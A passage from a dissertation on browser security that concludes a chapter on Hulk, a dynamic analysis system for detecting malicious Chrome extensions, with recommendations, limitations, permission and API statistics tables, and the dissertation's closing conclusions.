tensions should also not be allowed to uninstall other extensions unless they are from the

same author or a trusted source (such as Google or Antivirus vendors). We also recommend

preventing extensions from manipulating HTTP requests by removing security-related

headers that compromise the security of web pages. This change will require modifications

to several extension APIs to comprehensively address this issue, the primary one being

webRequest.

To address cloaking and other changes in remotely included content, we suggest that

Google should encourage local inclusion of static files in the context of a web page.

Chrome supports pushing automatic updates of extensions to users, so remotely including

additional JavaScript code is not necessary to support rapid changes in an extenion’s code.

This change will make it possible to have a more complete analysis of extension behavior,
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since the analysis engine—Hulk or otherwise4—will have the complete extension code

available. To encourage developers to write completely self-contained extensions and not

load additional code from the network, one could introduce a new policies, such as: if an

extension loads code from a remote site, it loses permissions such as the ability to inject that

new code into the visited pages.

Finally, extensions should not have the ability to hook all keyboard events on a given

site. The window.onkey* API that exists in JavaScript has utility for pages that want to

intercept the keyboard events of their users, but in the context of extensions it provides too

much power. An experimental API (chrome.commands) exists that allows extensions to

register keyboard shortcuts; this strikes us as a step in the right direction, as this covers the

common use-case for requiring access to these events.

These suggestions will not eliminate malicious extensions, but can prevent classes of

attacks, and significantly facilitate the analysis of extensions.

5.6 Limitations

Our system uses dynamic analysis for analyzing extensions, and, as with every dynamic

analysis system, the correct classification of an extension relies on triggering the malicious

activity. Hulk employs HoneyPages and event handler fuzzing on the extension’s web

4 In particular, ultimately an extension store operator such as Google needs to undertake such analysis as
part of its curation of the store contents.
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request listeners to enhance dynamic analysis, but does not provide a complete view of

extension behavior. For example, we do not attempt to address cloaking that loads different

code based on the client’s location or time. We also will not observe behavior that depends

on specific targets, such as those that require user interaction with a visited page to take

effect. Similarly, pages that require sign-in pose difficulties. Hulk has a pre-set list of sites

and credentials to use while visiting pages, but does not perform account creation on the fly.

Hulk’s Honeypages do not currently support multi-step querying of DOM elements.

While we can place elements in the DOM tree that an extension looks for, if the extension

expects elements to have additional properties in order to trigger its malicious behavior, we

will fail to adapt to the extension’s expectations. We plan on improving HoneyPages to

support multi-step querying, and for many element types and attributes this appears possible.

We currently also lack data flow analysis in the Chrome browser, a feature that would

substantially improve the depth of behavior available for analysis. One example where this

would prove particular useful regards keystroke interception. Without data flow tracking, we

cannot automatically derive whether this information ultimately becomes transmitted to a

third party via a network request.

Another difficult concern for Hulk is analysis evasion by extensions that specifically look

for HoneyPages. A determined adversary with knowledge of the system could try to evade

Hulk by querying for random elements in the DOM tree first, and, if found, avoid malicious

activity. A similar type of evasive behavior arose for in submissions to Wepawet [49]. One
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way to counter this is by introducing non-deterministic HoneyPages for which DOM tree

queries only succeed with a given probability. We could further enhance this approach

by crawling a few million sites and building models of the existing elements to assign apt

probabilities weights for different queries. This approach may also require analysis of an

extension’s DOM queries in case the extension repeatedly performs these in an effort to

detect randomized queries. Finally, we can consider measuring code coverage to examine

the impact that each DOM query has on the amount of code executed by an extension, as the

extension will skip executing the malicious code when it detects the presence of an analysis

system.

5.7 Conclusions

In this chapter we presented Hulk, a system to dynamically analyze Chrome browser

extensions and identify malicious behavior. Our system monitors an extension’s actions

and creates a dynamic environment that adapts to an extension’s needs in order to trigger

the intended behavior of extensions, classifying the extension as malicious or benign

accordingly. In total, we identified 130 malicious and 4,712 suspicious extensions that have

up to 5.5 million browser installations, many of which remain live in the Chrome Web Store.

Based on these results, we developed a detailed characterization of the malicious behavior

that we found, targeted at determining the motivation behind the extension. Finally, we

135



Chapter 5. Eliciting Malicious Behavior in Browser Extensions

propose several changes for the Chrome browser ecosystem that could eliminate classes of

extension-based attacks and aid with analysis.
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Rank Top 25 hosts in permissions # ext.

1 http://*/* 7,319

2 https://*/* 6,395

3 <all urls> 2,044

4 http://*/ 1,126

5 *://*/* 1,025

6 https://*/ 665

7 www.flashgame90.com/Default.aspx 224

8 https://api.twitter.com/ 200

9 http://localhost/* 161

10 http://127.0.0.1/* 133

11 https://secure.flickr.com/ 95

12 *://*.facebook.com/* 91

13 *://*/ 89

14 https://www.facebook.com/* 82

15 http://vk.com/* 77

16 http://*.facebook.com/* 77

17 https://mail.google.com/* 71

18 https://*.facebook.com/* 70

19 http://*.google.com/ 68

20 https://www.google-analytics.com/ 67

21 https://mail.google.com/ 64

22 https://*.google.com/ 62

23 https://twitter.com/* 61

24 https://www.googleapis.com/ 60

25 google.com/accounts/OAuthGetAcc[..] 56

Table 5.4: The top 25 host permissions used by extensions. Extensions can include more

than one host permission per manifest.
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Rank Top 25 hosts in content scripts # ext.

1 http://*/* 12,472

2 https://*/* 10,864

3 <all urls> 4,795

4 *://*/* 1,536

5 https://www.facebook.com/* 520

6 *://*.facebook.com/* 510

7 https://mail.google.com/* 458

8 http://www.facebook.com/* 433

9 https://*.facebook.com/* 344

10 http://*.facebook.com/* 320

11 file://*/* 315

12 https://twitter.com/* 303

13 http://mail.google.com/* 273

14 *://pages.brandthunder.com/[..] 265

15 https://plus.google.com/* 261

16 ftp://*/* 246

17 http://vk.com/* 227

18 http://www.youtube.com/* 211

19 file:///* 207

20 *://mail.google.com/* 189

21 http://twitter.com/* 179

22 *://www.facebook.com/* 178

23 http://ak.imgfarm.com/images[..] 177

24 *://*.reddit.com/* 164

25 https://vk.com/* 164

Table 5.5: The top 25 hosts used in extensions’ content script permissions.
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Rank Top 15 chrome.* APIs called # calls

1 runtime.onInstalled 182,476

2 webRequestInternal.eventHandled 57,466

3 tabs.getAllInWindow 49,312

4 tabs.onUpdated 32,354

5 tabs.create 25,947

6 i18n.getMessage 13,549

7 webRequest.onBeforeSendHeaders 13,213

8 runtime.connect 13,004

9 extension.getURL 11,942

10 storage.get 10,178

11 contextMenus.create 7,816

12 tabs.get 6,970

13 webRequest.onBeforeRequest 6,168

14 runtime.sendMessage 5,847

15 extension.sendRequest 5,454

Table 5.6: The top 15 chrome.* APIs called by extensions during dynamic analysis.
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Conclusions and Future Work

In this dissertation, I have analyzed continuously-changing web threats that target the

browser and have shown several novel techniques to defend against them. I have described

how the attackers can use sophisticated ways to evade the state-of-the-art detection systems

that exist. To deal with such evasive attempts, I have developed a system that tracks the

evolution of attacks, leading to better detection of such threats. I have also showed how we

can deal with emerging threats against the browser, such as malicious browser extensions,

by building a system that dynamically analyzes them and pinpoints their malicious behavior.

The extensions identified as malicious by our system were reported to Google and removed

from Chrome’s Web Store, affecting millions of users that had them installed.

In the future, I plan to continue working on improving the browser’s security and making

the Internet a safer place. As attacks become more sophisticated and more targeted, we will

need to devise new techniques to eliminate them. I plan to change the way we deal with

browser and Internet attacks by introducing a novel analysis model that is integrated into the
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browser. This way we will eliminate evasions completely, as the user’s system is the one that

will analyze the attacking code. By moving the analysis inside the browser we will be able to

detect targeted attacks, which was previously not possible by older analysis systems, as only

a tiny fraction of web clients observe targeted attacks. In a nutshell, my ultimate goal is to

protect all Internet users so that everybody can safely browse the web.
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